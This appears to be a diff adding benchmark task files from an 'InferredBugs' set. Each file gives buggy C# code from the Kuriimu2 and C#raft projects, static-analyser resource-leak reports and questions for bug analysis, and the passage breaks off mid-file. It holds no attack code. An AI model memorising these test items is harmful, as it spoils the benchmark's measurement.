+        public event EventHandler<MouseEventArgs> MouseUp;
+        public event EventHandler<MouseEventArgs> MouseMove;
+        public event EventHandler<MouseEventArgs> MouseEnter;
+        public event EventHandler<MouseEventArgs> MouseLeave;
+        public event EventHandler<MouseEventArgs> MouseDown;
+        public event EventHandler<MouseEventArgs> MouseDoubleClick;
+        public event EventHandler<MouseEventArgs> MouseWheel;
+
+        public abstract float Paint(Graphics g, PointF drawLocation);
+
+        internal void RegisterParent(ToolStrip parent)
+        {
+            ParentToolStrip = parent;
+        }
+
+        internal void OnMouseMove(MouseEventArgs e)
+        {
+            MouseMove?.Invoke(this, e);
+        }
+
+        internal void OnMouseEnter(MouseEventArgs e)
+        {
+            MouseEnter?.Invoke(this, e);
+        }
+
+        internal void OnMouseLeave(MouseEventArgs e)
+        {
+            MouseLeave?.Invoke(this, e);
+        }
+
+        internal void OnMouseDown(MouseEventArgs e)
+        {
+            MouseDown?.Invoke(this, e);
+        }
+
+        internal void OnMouseUp(MouseEventArgs e)
+        {
+            MouseUp?.Invoke(this, e);
+        }
+
+        internal void OnMouseDoubleClick(MouseEventArgs e)
+        {
+            MouseDoubleClick?.Invoke(this, e);
+        }
+
+        internal void OnMouseWheel(MouseEventArgs e)
+        {
+            MouseWheel?.Invoke(this, e);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Eto.Drawing.Pen::.ctor() at Line 216) of type Eto.Drawing.Pen, Leaked resource (output of Eto.Drawing.Pen::.ctor() at Line 209) of type Eto.Drawing.Pen in method "Single ButtonToolStripItem.Paint(Graphics,PointF)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Single ButtonToolStripItem.Paint(Graphics,PointF)
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Controls/ToolStrip.cs
+
+### Key:
+ToolStrip.cs|Paint|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6515069702ef6c8c2f7e6463c5934b1b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2668/instruction.md b/inferredbugs-2668/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b7882a095576a0855cfd0246fa84d39e898dceb6
--- /dev/null
+++ b/inferredbugs-2668/instruction.md
@@ -0,0 +1,274 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 31
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Forms;
+using Eto.Drawing;
+using Kuriimu2.EtoForms.Controls;
+using Kuriimu2.EtoForms.Resources;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms
+{
+    public partial class MainForm : Form
+    {
+        #region Localization Keys
+
+        private static string FileKey_ = "File";
+        private static string ToolsKey_ = "Tools";
+        private static string CiphersKey_ = "Ciphers";
+        private static string CompressionKey_ = "Compression";
+        private static string SettingsKey_ = "Settings";
+
+        private static string OpenKey_ = "Open";
+        private static string OpenWithKey_ = "OpenWith";
+        private static string SaveAllKey_ = "SaveAll";
+
+        private static string TextSequenceSearcherKey_ = "TextSequenceSearcher";
+        private static string BatchExtractorKey_ = "BatchExtractor";
+        private static string BatchInjectorKey_ = "BatchInjector";
+
+        private static string HashesKey_ = "Hashes";
+       
+        private static string EncryptKey_ = "Encrypt";
+        private static string DecryptKey_ = "Decrypt";
+
+        private static string DecompressKey_ = "Decompress";
+        private static string CompressKey_ = "Compress";
+
+        private static string RawImageViewerKey_ = "RawImageViewer";
+
+        private static string IncludeDeveloperBuildsKey_ = "IncludeDevBuilds";
+
+        private static string AboutKuriimuKey_ = "AboutKuriimu2";
+
+        #endregion
+
+        #region Commands
+
+        private Command openFileCommand;
+        private Command openFileWithCommand;
+        private Command saveAllFileCommand;
+
+        private Command openTextSequenceSearcherCommand;
+        private Command openBatchExtractorCommand;
+        private Command openBatchInjectorCommand;
+
+        private Command openHashcommand;
+
+        private Command openEncryptionCommand;
+        private Command openDecryptionCommand;
+
+        private Command openDecompressionCommand;
+        private Command openCompressionCommand;
+
+        private Command openRawImageViewerCommand;
+
+        private Command openImageTranscoderCommand;
+
+        private Command includeDevBuildCommand;
+
+        private Command openAboutCommand;
+
+        #endregion
+
+        #region Controls
+
+        private TabControl tabControl;
+        private ProgressBarEx _progressBarEx;
+        private Label statusMessage;
+
+        #endregion
+
+        void InitializeComponent()
+        {
+            #region Commands
+
+            openFileCommand = new Command { MenuText = Localize(OpenKey_), Shortcut = OpenHotKey, Image = ImageResources.Actions.Open };
+            // TODO: Separate open *with* icon?
+            openFileWithCommand = new Command { MenuText = Localize(OpenWithKey_), Shortcut = OpenWithHotKey, Image = ImageResources.Actions.OpenWith };
+            saveAllFileCommand = new Command { MenuText = Localize(SaveAllKey_), Shortcut = SaveAllHotKey, Image = ImageResources.Actions.SaveAll };
+
+            openTextSequenceSearcherCommand = new Command { MenuText = Localize(TextSequenceSearcherKey_), Image = ImageResources.Actions.Text };
+            openBatchExtractorCommand = new Command { MenuText = Localize(BatchExtractorKey_), Image = ImageResources.Actions.BatchExtract };
+            openBatchInjectorCommand = new Command { MenuText = Localize(BatchInjectorKey_), Image = ImageResources.Actions.BatchArchive };
+
+            openHashcommand = new Command { MenuText = Localize(HashesKey_), Image = ImageResources.Actions.Hashes };
+
+            openEncryptionCommand = new Command { MenuText = Localize(EncryptKey_) };
+            openDecryptionCommand = new Command { MenuText = Localize(DecryptKey_) };
+
+            openDecompressionCommand = new Command { MenuText = Localize(DecompressKey_) };
+            openCompressionCommand = new Command { MenuText = Localize(CompressKey_) };
+
+            openRawImageViewerCommand = new Command { MenuText = Localize(RawImageViewerKey_), Image = ImageResources.Actions.ImageViewer };
+            //openImageTranscoderCommand = new Command { MenuText = "Image Trascoder" };
+
+            includeDevBuildCommand = new Command();
+
+            openAboutCommand = new Command { MenuText = Localize(AboutKuriimuKey_), Image = ImageResources.Actions.About };
+
+            #endregion
+
+            Title = "Kuriimu2";
+            ClientSize = new Size(1116, 643);
+            Padding = new Padding(3);
+            Icon = Icon.FromResource("Kuriimu2.EtoForms.Images.Misc.kuriimu2.ico");
+
+            #region Menu
+
+            Menu = new MenuBar
+            {
+                Items =
+                {
+                    new ButtonMenuItem { Text = Localize(FileKey_),
+                        Items =
+                        {
+                            openFileCommand, 
+                            openFileWithCommand, 
+                            new SeparatorMenuItem(), 
+                            saveAllFileCommand
+                        } 
+                    },
+                    
+                    new ButtonMenuItem { Text = Localize(ToolsKey_),
+                        Items =
+                        {
+                            openBatchExtractorCommand,
+                            openBatchInjectorCommand,
+                            openTextSequenceSearcherCommand,
+                            openHashcommand,
+                            openRawImageViewerCommand,
+                        }
+                    },
+                    
+                    new ButtonMenuItem { Text = Localize(CiphersKey_),
+                        Items =
+                        {
+                            openDecryptionCommand,
+                            openEncryptionCommand 
+                        }
+                    },
+                    
+                    new ButtonMenuItem { Text = Localize(CompressionKey_),
+                        Items =
+                        {
+                            openDecompressionCommand, 
+                            openCompressionCommand
+                        }
+                    },
+                    
+                    //new ButtonMenuItem(openImageTranscoderCommand),
+                    
+                    new ButtonMenuItem { Text = Localize(SettingsKey_),
+                        Items =
+                        {
+                            new CheckMenuItem
+                            {
+                                Text = Localize(IncludeDeveloperBuildsKey_), 
+                                Checked = Settings.Default.IncludeDevBuilds, 
+                                Command = includeDevBuildCommand
+                            }
+                        } 
+                    }
+                },
+                
+                AboutItem = openAboutCommand
+            };
+
+            #endregion
+
+            #region Content
+
+            tabControl = new TabControl();
+            _progressBarEx = new ProgressBarEx();
+            statusMessage = new Label();
+
+            var progressLayout = new TableLayout
+            {
+                Spacing = new Size(3, 3),
+
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new TableCell(_progressBarEx) { ScaleWidth = true },
+                            new TableCell(statusMessage) { ScaleWidth = true },
+                        }
+                    }
+                }
+            };
+
+            Content = new TableLayout
+            {
+                AllowDrop = true,
+                Spacing = new Size(3, 3),
+
+                Rows =
+                {
+                    new TableRow(tabControl) { ScaleHeight = true },
+                    progressLayout
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Kuriimu2.EtoForms.Forms.MainForm.tabControl of type Eto.Forms.TabControl, Leaked resource this.Kuriimu2.EtoForms.Forms.MainForm.statusMessage of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.MainForm._progressBarEx of type Eto.Forms.Drawable, Leaked resource progressLayout of type Eto.Forms.TableLayout, Leaked resource %1 of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.CheckMenuItem::.ctor() at Line 116) of type Eto.Forms.CheckMenuItem, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 116) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 116) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 116) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 116) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.SeparatorMenuItem::.ctor() at Line 116) of type Eto.Forms.SeparatorMenuItem, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 116) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.MenuBar::.ctor() at Line 116) of type Eto.Forms.MenuBar in method "Void MainForm.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void MainForm.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/MainForm.eto.cs
+
+### Key:
+MainForm.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6e9ee4df67830421bdb5ffed5eb3485c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2669/instruction.md b/inferredbugs-2669/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1574167c002679a9425c404b52f10f84c7f5103f
--- /dev/null
+++ b/inferredbugs-2669/instruction.md
@@ -0,0 +1,200 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 30
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Dialogs.Batch
+{
+    abstract partial class BaseBatchDialog:Dialog
+    {
+        private ComboBox plugins;
+        private TextBox selectedInputPath;
+        private CheckBox subDirectoryBox;
+        private TextBox selectedOutputPath;
+        private Label timerLabel;
+        private RichTextArea log;
+
+        #region Commands
+
+        private Command selectInputCommand;
+        private Command selectOutputCommand;
+        private Command executeCommand;
+
+        #endregion
+
+        #region Localization Keys
+
+        private const string SearchSubFoldersKey_="SearchSubfolders";
+        private const string AvgTimePerFileKey_ = "AvgTimePerFile";
+
+        private const string BatchAvailablePluginsKey_ = "BatchAvailablePlugins";
+        private const string BatchSelectInputKey_ = "BatchSelectInput";
+        private const string BatchSelectOutputKey_ = "BatchSelectOutput";
+        private const string BatchExecuteKey_ = "BatchExecute";
+
+        #endregion
+
+        private void InitializeComponent()
+        {
+            #region Controls
+
+            plugins = new ComboBox();
+            selectedInputPath = new TextBox { ReadOnly = true };
+            subDirectoryBox = new CheckBox { Text = Localize(SearchSubFoldersKey_) };
+            selectedOutputPath = new TextBox { ReadOnly = true };
+            timerLabel = new Label { Text = Localize(AvgTimePerFileKey_) };
+            log = new RichTextArea { ReadOnly = true, BackgroundColor = KnownColors.Black, TextColor = KnownColors.NeonGreen };
+
+            #endregion
+
+            #region Commands
+
+            selectInputCommand = new Command();
+            selectOutputCommand = new Command();
+            executeCommand = new Command();
+
+            #endregion
+
+            Title = string.Empty;
+            Padding = new Padding(6);
+            Size = new Size(700, 300);
+
+            #region Content
+
+            var pluginLabel = new Label { Text = Localize(BatchAvailablePluginsKey_) };
+            var selectInputButton = new Button { Text = Localize(BatchSelectInputKey_), Command = selectInputCommand, Size = new Size(130, -1) };
+            var selectOutputButton = new Button { Text = Localize(BatchSelectOutputKey_), Command = selectOutputCommand, Size = new Size(130, -1) };
+            var executeButton = new Button { Text = Localize(BatchExecuteKey_), Command = executeCommand, Size = new Size(130, -1) };
+
+            var inputLayout = new StackLayout
+            {
+                Orientation = Orientation.Vertical,
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+
+                Spacing = 6,
+
+                Items =
+                {
+                    pluginLabel,
+                    plugins,
+                    selectedInputPath,
+                    new StackLayout
+                    {
+                        Orientation = Orientation.Horizontal,
+                        VerticalContentAlignment = VerticalAlignment.Stretch,
+
+                        Spacing = 6,
+
+                        Items =
+                        {
+                            selectInputButton,
+                            subDirectoryBox
+                        }
+                    },
+                    selectedOutputPath,
+                    selectOutputButton
+                }
+            };
+
+            Content = new TableLayout
+            {
+                AllowDrop=true,
+                Spacing = new Size(6, 6),
+
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new TableLayout
+                            {
+                                Rows =
+                                {
+                                    inputLayout,
+                                    new TableLayout
+                                    {
+                                        Rows =
+                                        {
+                                            new TableRow { ScaleHeight = true },
+                                            executeButton
+                                        }
+                                    }
+                                }
+                            },
+                            new TableLayout
+                            {
+                                Spacing = new Size(6, 6),
+                                Rows =
+                                {
+                                    timerLabel,
+                                    log
+                                }
+                            }
+                        }
+                    }
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.timerLabel of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.subDirectoryBox of type Eto.Forms.CheckBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.selectedOutputPath of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.selectedInputPath of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.plugins of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.log of type Eto.Forms.RichTextArea, Leaked resource selectInputButton of type Eto.Forms.Button, Leaked resource inputLayout of type Eto.Forms.StackLayout, Leaked resource executeButton of type Eto.Forms.Button, Leaked resource pluginLabel of type Eto.Forms.Label, Leaked resource selectOutputButton of type Eto.Forms.Button, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 98) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 98) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 98) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 98) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.StackLayout::.ctor() at Line 68) of type Eto.Forms.StackLayout in method "Void BaseBatchDialog.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BaseBatchDialog.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Dialogs/Batch/BaseBatchDialog.eto.cs
+
+### Key:
+BaseBatchDialog.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b8e6a871b4532a42e329be7594bb6964
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2692/instruction.md b/inferredbugs-2692/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f0aa8816445bf57d8046fac279af503753a86770
--- /dev/null
+++ b/inferredbugs-2692/instruction.md
@@ -0,0 +1,1366 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** c-raft
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#region C#raft License
+// This file is part of C#raft. Copyright C#raft Team 
+// 
+// C#raft is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as
+// published by the Free Software Foundation, either version 3 of the
+// License, or (at your option) any later version.
+// 
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU Affero General Public License for more details.
+// 
+// You should have received a copy of the GNU Affero General Public License
+// along with this program. If not, see <http://www.gnu.org/licenses/>.
+#endregion
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using Chraft.Interfaces.Containers;
+using Chraft.Net;
+using Chraft.Net.Packets;
+using Chraft.Plugins.Events;
+using Chraft.Properties;
+using System.IO;
+using Chraft.Entity;
+using Chraft.World.Blocks;
+using Chraft.World.Blocks.Physics;
+using Chraft.World.Weather;
+using Chraft.Plugins.Events.Args;
+using System.Threading.Tasks;
+using Chraft.Utils;
+using System.Collections.Generic;
+using Chraft.WorldGen;
+using System.Collections.Concurrent;
+using java.util;
+using Timer = System.Threading.Timer;
+
+namespace Chraft.World
+{
+    public partial class WorldManager : IDisposable
+    {
+        private Timer _globalTick;
+        private IChunkGenerator _generator;
+        public object ChunkGenLock = new object();
+        private ChunkProvider _chunkProvider;
+
+        public sbyte Dimension { get { return 0; } }
+        public long Seed { get; private set; }
+        public UniversalCoords Spawn { get; set; }
+        public bool Running { get; private set; }
+        public Server Server { get; private set; }
+        public Logger Logger { get { return Server.Logger; } }
+        public string Name { get { return Settings.Default.DefaultWorldName; } }
+        public string Folder { get { return Settings.Default.WorldsFolder + Path.DirectorySeparatorChar + Name; } }
+        public string SignsFolder { get { return Folder + Path.DirectorySeparatorChar + "Signs"; } }
+
+        public WeatherManager Weather { get; private set; }
+
+        private readonly ChunkSet _chunks;
+        private ChunkSet Chunks { get { return _chunks; } }
+
+        public ConcurrentQueue<ChunkLightUpdate> ChunksToRecalculate;
+
+        public ConcurrentDictionary<int, BaseFallingPhysics> PhysicsBlocks;
+        private Task _physicsSimulationTask;
+        private Task _entityUpdateTask;
+        private Task _mobSpawnerTask;
+
+        public ConcurrentQueue<ChunkBase> ChunksToSave;
+
+        public ConcurrentDictionary<int, ChunkEntry> PendingChunks = new ConcurrentDictionary<int, ChunkEntry>();
+
+        private CancellationTokenSource _saveToken;
+        public bool NeedsFullSave;
+        public bool FullSaving;
+
+        private Task _growStuffTask;
+        private Task _collectTask;
+        private Task _saveTask;
+        private Task _profile;
+
+        private int _time;
+        private Chunk[] _chunksCache;
+        /// <summary>
+        /// In units of 0.05 seconds (between 0 and 23999)
+        /// </summary>
+        public int Time
+        {
+            get { 
+                int time = _time;
+                
+                return time; }
+            set {
+                _time = value;             
+                }
+        }
+
+        private int _worldTicks;
+        
+        /// <summary>
+        /// The current World Tick independant of the world's current Time (1 tick = 0.05 secs with a max value of 4,294,967,295 gives approx. 6.9 years of ticks)
+        /// </summary>
+        public int WorldTicks
+        {
+            get
+            {
+                return _worldTicks;
+            }
+        }
+
+        public Chunk GetChunk(UniversalCoords coords, bool create = false, bool load = false)
+        {
+            Chunk chunk;
+            if ((chunk = Chunks[coords]) != null)
+                return chunk;
+
+            return load ? LoadChunk(coords, create) : null;
+        }
+
+        public Chunk GetChunkFromChunkSync(int chunkX, int chunkZ, bool create = false, bool load = false)
+        {
+            Chunk chunk;
+            if ((chunk = Chunks[chunkX, chunkZ]) != null)
+                return chunk;
+
+            return load ? LoadChunk(UniversalCoords.FromChunk(chunkX, chunkZ), create) : null;
+        }
+
+        public Chunk GetChunkFromChunkAsync(int chunkX, int chunkZ, Client client, bool create = false, bool load = false)
+        {
+            Chunk chunk;
+            if ((chunk = Chunks[chunkX, chunkZ]) != null)
+                return chunk;
+
+            return load ? LoadChunk(UniversalCoords.FromChunk(chunkX, chunkZ), create, client, false) : null;
+        }
+
+        public Chunk GetChunkFromWorld(int worldX, int worldZ, bool create = false, bool load = false)
+        {
+            Chunk chunk;
+            if ((chunk = Chunks[worldX >> 4, worldZ >> 4]) != null)
+                return chunk;
+
+            return load ? LoadChunk(UniversalCoords.FromWorld(worldX, 0, worldZ), create) : null;
+        }
+
+        public Chunk GetChunkFromAbs(double absX, double absZ, bool create = false, bool load = false)
+        {
+            int worldX = (int) Math.Floor(absX);
+            int worldZ = (int)Math.Floor(absZ);
+
+            Chunk chunk;
+            if ((chunk = Chunks[worldX >> 4, worldZ >> 4]) != null)
+                return chunk;
+
+            return load ? LoadChunk(UniversalCoords.FromWorld(worldX, 0, worldZ), create) : null;
+        }
+        
+        public IEnumerable<EntityBase> GetEntitiesWithinBoundingBoxExcludingEntity(EntityBase entity, BoundingBox boundingBox)
+        {
+            return (from e in Server.GetEntitiesWithinBoundingBox(boundingBox)
+                   where e != entity
+                   select e);
+        }
+        
+        public BoundingBox[] GetCollidingBoundingBoxes(EntityBase entity, BoundingBox boundingBox)
+        {
+            List<BoundingBox > collidingBoundingBoxes = new List<BoundingBox>();
+
+            UniversalCoords minimumBlockXYZ = UniversalCoords.FromAbsWorld(boundingBox.Minimum.X, boundingBox.Minimum.Y, boundingBox.Minimum.Z);
+            UniversalCoords maximumBlockXYZ = UniversalCoords.FromAbsWorld(boundingBox.Maximum.X + 1.0D, boundingBox.Maximum.Y + 1.0D, boundingBox.Maximum.Z + 1.0D);
+
+            for (int x = minimumBlockXYZ.WorldX; x < maximumBlockXYZ.WorldX; x++)
+            {
+                for (int z = minimumBlockXYZ.WorldZ; z < maximumBlockXYZ.WorldZ; z++)
+                {
+                    Chunk chunk = GetChunkFromWorld(x, z);
+
+                    if (chunk == null)
+                        continue;
+
+                    for (int y = minimumBlockXYZ.WorldY - 1; y < maximumBlockXYZ.WorldY; y++)
+                    {
+                        StructBlock block = chunk.GetBlock(UniversalCoords.FromWorld(x, y, z));
+                        
+                        BlockBase blockInstance = BlockHelper.Instance(block.Type);
+                        
+                        if (blockInstance != null && blockInstance.IsCollidable)
+                        {
+                            BoundingBox blockBox = blockInstance.GetCollisionBoundingBox(block);
+                            if (blockBox.IntersectsWith(boundingBox))
+                            {
+                                collidingBoundingBoxes.Add(blockBox);
+                            }
+                        }
+                    }
+                }
+            }
+   
+            foreach (var e in GetEntitiesWithinBoundingBoxExcludingEntity(entity, boundingBox.Expand(new Vector3(0.25, 0.25, 0.25))))
+            {
+                collidingBoundingBoxes.Add(e.BoundingBox);
+                
+                // TODO: determine if overridable collision boxes between two entities is necessary
+                BoundingBox? collisionBox = entity.GetCollisionBox(e);
+                if (collisionBox != null && collisionBox.Value != e.BoundingBox && collisionBox.Value.IntersectsWith(boundingBox))
+                {
+                    collidingBoundingBoxes.Add(collisionBox.Value);
+                }
+            }
+            
+            return collidingBoundingBoxes.ToArray();
+        }
+        double[] _lightBrightnessTable = new double[16];
+        public WorldManager(Server server)
+        {          
+            _chunks = new ChunkSet();
+            Server = server;
+            ChunksToRecalculate = new ConcurrentQueue<ChunkLightUpdate>();
+            ChunksToSave = new ConcurrentQueue<ChunkBase>();
+            Load();
+
+            // Create the light brightness table
+            double d = 0.0;
+            for(int i = 0; i < 16; i++)
+            {
+                double d1 = 1.0 - (double)i / 15.0;
+                _lightBrightnessTable[i] = ((1.0 - d1) / (d1 * 3.0 + 1.0)) * (1.0 - d) + d;
+            }
+        }
+
+        public bool Load()
+        {
+            EnsureDirectory();
+
+            //Event
+            WorldLoadEventArgs e = new WorldLoadEventArgs(this);
+            Server.PluginManager.CallEvent(Event.WorldLoad, e);
+            if (e.EventCanceled) return false;
+            //End Event
+
+            _chunkProvider = new ChunkProvider(this);
+            _generator = _chunkProvider.GetNewGenerator(GeneratorType.Custom, GetSeed());
+            PhysicsBlocks = new ConcurrentDictionary<int, BaseFallingPhysics>();
+
+            InitializeSpawn();
+            InitializeThreads();
+            InitializeWeather();
+            return true;
+        }
+        
+        private void InitializeWeather()
+        {
+            Weather = new WeatherManager(this);
+        }
+
+        public int GetHeight(UniversalCoords coords)
+        {
+            Chunk chunk = GetChunk(coords);
+            if (chunk == null)
+                return -1;
+
+            return GetChunk(coords).HeightMap[coords.BlockX, coords.BlockZ];
+        }
+
+        public int GetHeight(int x, int z)
+        {
+            Chunk chunk = GetChunkFromWorld(x, z);
+
+            if(chunk == null)
+                return -1;
+            return chunk.HeightMap[x & 0xf, z & 0xf];
+        }
+
+        public void AddChunk(Chunk c)
+        {
+            c.CreationDate = DateTime.Now;
+            Chunks.Add(c);
+        }
+
+        public ConcurrentDictionary<ChunkEntry, ChunkEntry> TempPendingChunks = new ConcurrentDictionary<ChunkEntry, ChunkEntry>(); 
+      
+        private Chunk LoadChunk(UniversalCoords coords, bool create, Client client = null, bool sync = true)
+        {
+            ChunkEntry newEntry = new ChunkEntry();
+            ChunkEntry entry;
+            ChunkEntry removedEntry;
+
+            entry = PendingChunks.GetOrAdd(coords.ChunkPackedCoords, newEntry);
+            int state = Interlocked.CompareExchange(ref entry.State, ChunkEntry.InProgress, ChunkEntry.NotInitialized);
+            Chunk chunk;
+            
+            if (state == ChunkEntry.NotInitialized)
+            {
+                int threads;
+                
+                Interlocked.Increment(ref entry.ThreadsWaiting);
+                // The entry could have been just readded but the chunk is already initialized
+                if ((chunk = Chunks[coords]) != null)
+                {
+                    threads = Interlocked.Decrement(ref entry.ThreadsWaiting);
+                    if (threads == 0)
+                        PendingChunks.TryRemove(coords.ChunkPackedCoords, out removedEntry);
+                    
+                    entry.ChunkRequested = chunk;
+                    entry.State = ChunkEntry.Initialized;
+
+                    NotifyChunkToClients(entry);
+
+                    entry.ChunkLock.Set();
+
+                    return chunk;
+
+                }
+
+
+                if ((chunk = Chunk.Load(coords, this)) != null)
+                    AddChunk(chunk);               
+                else if (create)
+                    chunk = _generator.ProvideChunk(coords.ChunkX, coords.ChunkZ, this);
+
+                if(chunk == null)
+                {
+                    threads = Interlocked.Decrement(ref entry.ThreadsWaiting);
+
+                    if (threads == 0)
+                        PendingChunks.TryRemove(coords.ChunkPackedCoords, out removedEntry);
+
+                    entry.ChunkLock.Set();
+
+                    return chunk;
+                }
+
+                entry.ChunkRequested = chunk;
+                entry.State = ChunkEntry.Initialized;           
+
+                threads = Interlocked.Decrement(ref entry.ThreadsWaiting);
+
+                if (threads == 0)
+                    PendingChunks.TryRemove(coords.ChunkPackedCoords, out removedEntry);
+
+                NotifyChunkToClients(entry);
+                entry.ChunkLock.Set();
+
+                if (chunk != null)
+                {
+                    chunk.InitGrowableCache();
+                    ContainerFactory.LoadContainersFromDisk(chunk);
+                }
+
+                return chunk;
+            }
+           
+            if (state == ChunkEntry.InProgress)
+            {
+                Interlocked.Increment(ref entry.ThreadsWaiting);
+
+                if (!sync)
+                    entry.Requests.Enqueue(new ClientRequest { ClientRequesting = client });
+                else
+                    entry.ChunkLock.WaitOne();
+                
+
+                int threads = Interlocked.Decrement(ref entry.ThreadsWaiting);
+                if (threads == 0)
+                    PendingChunks.TryRemove(coords.ChunkPackedCoords, out removedEntry);
+
+                if(!sync)
+                {
+                    if (entry.State == ChunkEntry.Initialized)
+                        NotifyChunkToClients(entry);
+
+                    return null;
+                }
+
+                if (entry.State == ChunkEntry.Initialized)
+                    chunk = Chunks[coords];
+                else
+                    return null;
+
+                Debug.Assert(chunk != null, "RETURNING NULL CHUNK");
+                return chunk;
+            }
+
+            chunk = Chunks[coords];
+
+            Debug.Assert(chunk != null, "RETURNING NULL CHUNK");
